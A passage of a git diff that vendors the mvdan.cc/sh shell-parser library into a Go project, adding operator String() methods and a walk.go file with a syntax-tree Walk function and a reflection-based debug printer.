token(o).String() } +func (o ParExpOperator) String() string { return token(o).String() } +func (o UnAritOperator) String() string { return token(o).String() } +func (o BinAritOperator) String() string { return token(o).String() } +func (o UnTestOperator) String() string { return token(o).String() } +func (o BinTestOperator) String() string { return token(o).String() } diff --git a/vendor/mvdan.cc/sh/v3/syntax/walk.go b/vendor/mvdan.cc/sh/v3/syntax/walk.go new file mode 100644 index 0000000000..5be8f9c6a4 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/walk.go @@ -0,0 +1,313 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "fmt" + "io" + "reflect" +) + +func walkStmts(stmts []*Stmt, last []Comment, f func(Node) bool) { + for _, s := range stmts { + Walk(s, f) + } + for _, c := range last { + Walk(&c, f) + } +} + +func walkWords(words []*Word, f func(Node) bool) { + for _, w := range words { + Walk(w, f) + } +} + +// Walk traverses a syntax tree in depth-first order: It starts by calling +// f(node); node must not be nil. If f returns true, Walk invokes f +// recursively for each of the non-nil children of node, followed by +// f(nil). +func Walk(node Node, f func(Node) bool) { + if !f(node) { + return + } + + switch x := node.(type) { + case *File: + walkStmts(x.Stmts, x.Last, f) + case *Comment: + case *Stmt: + for _, c := range x.Comments { + if !x.End().After(c.Pos()) { + defer Walk(&c, f) + break + } + Walk(&c, f) + } + if x.Cmd != nil { + Walk(x.Cmd, f) + } + for _, r := range x.Redirs { + Walk(r, f) + } + case *Assign: + if x.Name != nil { + Walk(x.Name, f) + } + if x.Value != nil { + Walk(x.Value, f) + } + if x.Index != nil { + Walk(x.Index, f) + } + if x.Array != nil { + Walk(x.Array, f) + } + case *Redirect: + if x.N != nil { + Walk(x.N, f) + } + Walk(x.Word, f) + if x.Hdoc != nil { + Walk(x.Hdoc, f) + } + case *CallExpr: + for _, a := range x.Assigns { + Walk(a, f) + } + walkWords(x.Args, f) + case *Subshell: + walkStmts(x.Stmts, x.Last, f) + case *Block: + walkStmts(x.Stmts, x.Last, f) + case *IfClause: + walkStmts(x.Cond, x.CondLast, f) + walkStmts(x.Then, x.ThenLast, f) + if x.Else != nil { + Walk(x.Else, f) + } + case *WhileClause: + walkStmts(x.Cond, x.CondLast, f) + walkStmts(x.Do, x.DoLast, f) + case *ForClause: + Walk(x.Loop, f) + walkStmts(x.Do, x.DoLast, f) + case *WordIter: + Walk(x.Name, f) + walkWords(x.Items, f) + case *CStyleLoop: + if x.Init != nil { + Walk(x.Init, f) + } + if x.Cond != nil { + Walk(x.Cond, f) + } + if x.Post != nil { + Walk(x.Post, f) + } + case *BinaryCmd: + Walk(x.X, f) + Walk(x.Y, f) + case *FuncDecl: + Walk(x.Name, f) + Walk(x.Body, f) + case *Word: + for _, wp := range x.Parts { + Walk(wp, f) + } + case *Lit: + case *SglQuoted: + case *DblQuoted: + for _, wp := range x.Parts { + Walk(wp, f) + } + case *CmdSubst: + walkStmts(x.Stmts, x.Last, f) + case *ParamExp: + Walk(x.Param, f) + if x.Index != nil { + Walk(x.Index, f) + } + if x.Repl != nil { + if x.Repl.Orig != nil { + Walk(x.Repl.Orig, f) + } + if x.Repl.With != nil { + Walk(x.Repl.With, f) + } + } + if x.Exp != nil && x.Exp.Word != nil { + Walk(x.Exp.Word, f) + } + case *ArithmExp: + Walk(x.X, f) + case *ArithmCmd: + Walk(x.X, f) + case *BinaryArithm: + Walk(x.X, f) + Walk(x.Y, f) + case *BinaryTest: + Walk(x.X, f) + Walk(x.Y, f) + case *UnaryArithm: + Walk(x.X, f) + case *UnaryTest: + Walk(x.X, f) + case *ParenArithm: + Walk(x.X, f) + case *ParenTest: + Walk(x.X, f) + case *CaseClause: + Walk(x.Word, f) + for _, ci := range x.Items { + Walk(ci, f) + } + for _, c := range x.Last { + Walk(&c, f) + } + case *CaseItem: + for _, c := range x.Comments { + if c.Pos().After(x.Pos()) { + defer Walk(&c, f) + break + } + Walk(&c, f) + } + walkWords(x.Patterns, f) + walkStmts(x.Stmts, x.Last, f) + case *TestClause: + Walk(x.X, f) + case *DeclClause: + for _, a := range x.Args { + Walk(a, f) + } + case *ArrayExpr: + for _, el := range x.Elems { + Walk(el, f) + } + for _, c := range x.Last { + Walk(&c, f) + } + case *ArrayElem: + for _, c := range x.Comments { + if c.Pos().After(x.Pos()) { + defer Walk(&c, f) + break + } + Walk(&c, f) + } + if x.Index != nil { + Walk(x.Index, f) + } + if x.Value != nil { + Walk(x.Value, f) + } + case *ExtGlob: + Walk(x.Pattern, f) + case *ProcSubst: + walkStmts(x.Stmts, x.Last, f) + case *TimeClause: + if x.Stmt != nil { + Walk(x.Stmt, f) + } + case *CoprocClause: + if x.Name != nil { + Walk(x.Name, f) + } + Walk(x.Stmt, f) + case *LetClause: + for _, expr := range x.Exprs { + Walk(expr, f) + } + case *TestDecl: + Walk(x.Description, f) + Walk(x.Body, f) + default: + panic(fmt.Sprintf("syntax.Walk: unexpected node type %T", x)) + } + + f(nil) +} + +// DebugPrint prints the provided syntax tree, spanning multiple lines and with +// indentation. Can be useful to investigate the content of a syntax tree. +func DebugPrint(w io.Writer, node Node) error { + p := debugPrinter{out: w} + p.print(reflect.ValueOf(node)) + return p.err +} + +type debugPrinter struct { + out io.Writer + level int + err error +} + +func (p *debugPrinter) printf(format string, args ...any) { + _, err := fmt.Fprintf(p.out, format, args...) + if err != nil && p.err == nil { + p.err = err + } +} + +func (p *debugPrinter) newline() { + p.printf("\n") + for i := 0; i < p.level; i++ { + p.printf(". ") + } +} + +func (p *debugPrinter) print(x reflect.Value) { + switch x.Kind() { + case reflect.Interface: + if x.IsNil() { + p.printf("nil") + return + } + p.print(x.Elem()) + case reflect.Ptr: + if x.IsNil() { + p.printf("nil") + return + } + p.printf("*") + p.print(x.Elem()) + case reflect.Slice: + p.printf("%s (len = %d) {", x.Type(), x.Len()) + if x.Len() > 0 { + p.level++ + p.newline() + for i := 0; i < x.Len(); i++ { + p.printf("%d: ", i) + p.print(x.Index(i)) + if i == x.Len()-1 { + p.level-- + } + p.newline() + } + } + p.printf("}") + + case reflect.Struct: + if v, ok := x.Interface().(Pos); ok { + p.printf("%v:%v", v.Line(), v.Col()) + return + } + t := x.Type() + p.printf("%s {", t) + p.level++ + p.newline() + for i := 0; i < t.NumField(); i++ { + p.printf("%s: ", t.Field(i).Name) + p.print(x.Field(i)) + if i == x.NumField()-1 { + p.level-- + } + p.newline() + } + p.printf("}") + default: + p.printf("%#v", x.Interface()) + } +}